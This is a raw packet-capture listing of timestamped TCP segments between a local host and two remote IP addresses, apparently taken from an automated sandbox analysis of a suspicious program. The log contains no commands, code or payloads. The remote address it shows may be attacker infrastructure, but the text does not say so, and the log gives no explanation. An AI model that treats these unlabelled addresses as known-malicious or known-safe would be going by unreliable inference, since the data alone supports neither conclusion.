Nov 19, 2024 22:07:08.727705002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727720022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727756023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727788925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727828979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727852106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727883101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727919102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.727969885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.727977991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728051901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728106976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728113890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728169918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728193998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728209972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728250027 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728302956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728357077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728370905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728425026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728463888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728497028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728523970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728576899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728637934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728673935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728729010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728758097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728773117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728811026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728892088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.728952885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.728959084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729012966 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729026079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729055882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729079008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729155064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729212999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729218960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729274035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729279041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729295015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729332924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729336023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729387045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729414940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729434013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729449987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729468107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729470015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729492903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729518890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729526997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729554892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729569912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729572058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729592085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729608059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729626894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729646921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729662895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729670048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729679108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729712963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729727983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729777098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729778051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729798079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729815006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729832888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729835987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729851961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729855061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729872942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729890108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729892015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729908943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729928017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.729935884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729935884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729959965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.729986906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730067968 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730084896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730135918 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730158091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730192900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730214119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730243921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730252028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730269909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730303049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730340958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730386019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730398893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730422974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730437994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730438948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730460882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730478048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730480909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730499983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730515003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730518103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730531931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730561018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730631113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730670929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730688095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730709076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730725050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730726957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730762005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730762959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730782032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730811119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730818033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730830908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730837107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730871916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730875015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730894089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730914116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730928898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730938911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730947018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730957031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.730974913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.730999947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.748630047 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.748963118 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.749032974 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.749062061 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.749135017 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.749185085 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.749226093 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.749269009 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.749284029 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.751123905 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.751142025 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.751226902 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.751389027 CET	49879	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.751403093 CET	443	49879	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.824078083 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.824626923 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.824640989 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.824963093 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.824968100 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.834067106 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.834368944 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.834424973 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.834654093 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.834666967 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.859649897 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.860018015 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.860024929 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.860280991 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.860284090 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.870683908 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.871033907 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.871069908 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.871309996 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.871335030 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.913418055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.913460970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.913501024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.913539886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.913575888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.913635015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.913635015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.913635015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.913635015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.914275885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.914346933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.914410114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.914452076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.914474964 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.914485931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.914503098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915518999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915570021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915585995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915606022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915641069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915644884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915684938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915724039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915752888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915755987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915795088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915800095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915833950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915848970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915873051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915893078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915905952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915925026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.915941954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.915980101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916001081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916016102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916037083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916064978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916095018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916104078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916141033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916158915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916177034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916198015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916209936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916244984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916246891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916285038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916321993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916321993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916342020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916356087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916393995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916394949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916434050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916451931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916496038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.916503906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916539907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.916564941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.917397976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.917437077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.917463064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.917470932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.917486906 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.917509079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.917547941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.917565107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.917581081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.917612076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.918953896 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919022083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919053078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919115067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919125080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919184923 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919195890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919229984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919253111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919266939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919305086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919332981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919358969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919363976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919392109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919418097 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919527054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919585943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919682026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919718981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919744015 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919751883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919768095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919787884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919823885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919850111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919862986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919887066 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919898033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919924021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.919934988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919971943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.919996977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920008898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920021057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920043945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920066118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920080900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920116901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920154095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920181036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920187950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920219898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920471907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920557022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920593977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920631886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920654058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920665026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920696974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920703888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920741081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920762062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920778990 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920802116 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920819044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920845032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920854092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920887947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920892000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920928955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920955896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.920964956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.920978069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921001911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921021938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921036005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921061039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921231031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921269894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921293020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921322107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921370983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921416044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921432018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921448946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921478033 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921484947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921524048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921542883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921561003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921583891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921598911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921621084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921633005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921664000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921670914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921708107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921730042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921746016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921760082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921783924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921802998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921817064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921844006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921854019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921891928 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921927929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.921957016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.921967030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.922000885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.922000885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.922027111 CET	49864	80	192.168.2.4	31.41.244.11
